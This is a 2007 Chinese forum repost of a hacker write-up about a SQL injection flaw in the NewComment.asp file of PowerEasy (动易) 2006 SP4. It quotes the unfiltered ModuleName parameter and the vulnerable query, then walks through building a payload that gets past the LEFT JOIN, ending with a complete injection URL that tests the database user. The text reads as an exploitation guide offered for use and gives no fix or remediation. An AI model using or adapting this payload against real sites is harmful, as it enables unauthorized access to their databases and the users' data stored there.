找回密码
 注册
查看: 942|回复: 0

动易SP4漏洞分析

[复制链接]
发表于 2007-7-15 22:22:39 | 显示全部楼层 |阅读模式
动易2006 SP4 SQL版注入新发现..<br/><br/>by NetPatch &amp; Trace<br/>www.icehack.com<br/>www.nspcn.org<br/><br/>晚上正无聊着瞎摆弄着,好友Trace突然发个消息过来,说让我看个动易的NewComment.asp文件。说是听说这个文件出了个注入漏洞,让我好好瞧瞧。反正也没事做,就瞒看了。<br/><br/>认真一看,还真是发现了漏洞所在。我们长话短说,直接进入话题。<br/>首先我们来看看主要的几个参数过滤情况<br/>ModuleName = Trim(request(&quot;ModuleName&quot;))<br/>//只过滤两边空格---也是漏洞所在首要原因<br/>ChannelID = PE_CLng(Trim(request(&quot;ChannelID&quot;)))<br/>ClassID = PE_CLng(Trim(request(&quot;ClassID&quot;)))<br/>Num = PE_CLng(Trim(request(&quot;Num&quot;)))<br/>//其他三个都过滤的比较严格。<br/><br/>真搞不懂,为什么就ModuleName没过滤?难道是动易故意放水?<br/><br/>好,闲话少说,现在我们再看看问题所在的SQL语句<br/><br/>============================================================================================================================<br/>If ModuleName &gt; 0 Then<br/>  //假如ChannelID值不为0<br/>If ClassID &lt;&gt; 0 Then<br/>    //假如ClassID值不为0<br/>sqlComment = &quot;Select top &quot; &amp; Num &amp; &quot; C.* from PE_Comment C left join PE_&quot; &amp; ModuleName &amp; &quot; A on C.InfoID=A.&quot; &amp; ModuleName &amp; &quot;ID where A.ChannelID= &quot; &amp; ChannelID &amp; &quot; and A.ClassID= &quot; &amp; ClassID &amp; &quot; and C.Passed =&quot; &amp; PE_True &#039;获取指定模块中指定频道指定栏目的前Num条评论<br/><br/>//没经过任何过滤,直接执行了<br/>Else<br/>sqlComment = &quot;Select top &quot; &amp; Num &amp; &quot; C.* from PE_Comment C left join PE_&quot; &amp; ModuleName &amp; &quot; A on C.InfoID=A.&quot; &amp; ModuleName &amp; &quot;ID where A.ChannelID= &quot; &amp; ChannelID &amp; &quot; and C.Passed =&quot; &amp; PE_True &#039;获取指定模块中指定频道的前Num条评论<br/>End If<br/>Else<br/>sqlComment = &quot;Select top &quot; &amp; Num &amp; &quot; * From PE_Comment where ModuleType= &quot; &amp; ModuleId &amp; &quot; and Passed =&quot; &amp; PE_True &#039;获取指定模块中的前Num条评论<br/>End If<br/>Else<br/>sqlComment = &quot;Select top &quot; &amp; Num &amp; &quot; * from PE_Comment where Passed =&quot; &amp; PE_True &#039;获取所有模块中的前Num条评论<br/>End If<br/>============================================================================================================================<br/><br/>/////////////////////////////////////////<br/>Select top &quot; &amp; Num &amp; &quot; C.* from PE_Comment C left join PE_&quot; &amp; ModuleName &amp; &quot; A on C.InfoID=A.&quot; &amp; ModuleName &amp; &quot;ID where A.ChannelID= &quot; &amp; ChannelID &amp; &quot; and A.ClassID= &quot; &amp; ClassID &amp; &quot; and C.Passed =&quot; &amp; PE_True<br/>//////////////////////////////////////////<br/>以上语句为漏洞存在语句<br/>发现此语句里也没对ModuleName进行过滤。HOHO,这不就常说的注入漏洞么!<br/>但是,请不要高兴的太早。因为这句SQL语句里有个小弯,如果没转过去,那可是要撞墙的哦。<br/>认真看下语句,你会发现,该语句使用了left join(外连接),如果直接构造NewComment.asp?num=1&amp;ChannelID=1&amp;&amp;ClassID=1&amp;ModuleName=soft and user&gt;0--这样的URL是不可以成功的!为什么呢,其原因所在就是这个外连接语句!<br/>如果你把你构造的参数值和你想执行的SQL语句代到原SQL语句中的话,你会发现语句错了,错了的语句当然是没办法执行下去的了。<br/>/////////////////////////////////////////<br/>Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user&gt;0--(后面的被注释了,就没必要代参数进去了)ID where A.ChannelID= &quot; &amp; ChannelID &amp; &quot; and A.ClassID= &quot; &amp; ClassID &amp; &quot; and C.Passed =&quot; &amp; PE_True<br/>//////////////////////////////////////////<br/>以上是代入SQL语句中的示范。<br/>======================================================================================<br/>Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user&gt;0--<br/>======================================================================================<br/>这样的语句,试问,如何让他执行成功呢?<br/><br/>聪明的你肯定想到答案了吧。呵呵<br/>没错,既然这样的语句不能成功执行,那么我们就构造一个可以让他执行的语句!<br/><br/>/////////////////////////////////////////<br/>Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft A on C.InfoID=A.softID where A.ChannelID=1 and user&gt;0--<br/>//////////////////////////////////////////<br/>再看看上面这段语句,是不是变的通顺了呢?<br/>好,我们现在还原到URL上<br/>============================================================================================================================<br/>NewComment.asp?num=1&amp;ChannelID=1&amp;ClassID=1&amp;modulename=soft A on C.InfoID=A.softID where A.ChannelID=1 and user&gt;0-- <br/>============================================================================================================================<br/>哈。。是不是成功了???<br/>YES,看来只要肯下工夫,漏洞始终是会浮出水面的!<br/>这里感谢Tarce,不是他,就没有这篇文章.
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|光学薄膜论坛

GMT, 2025-12-20 , Processed in 0.028234 second(s), 21 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表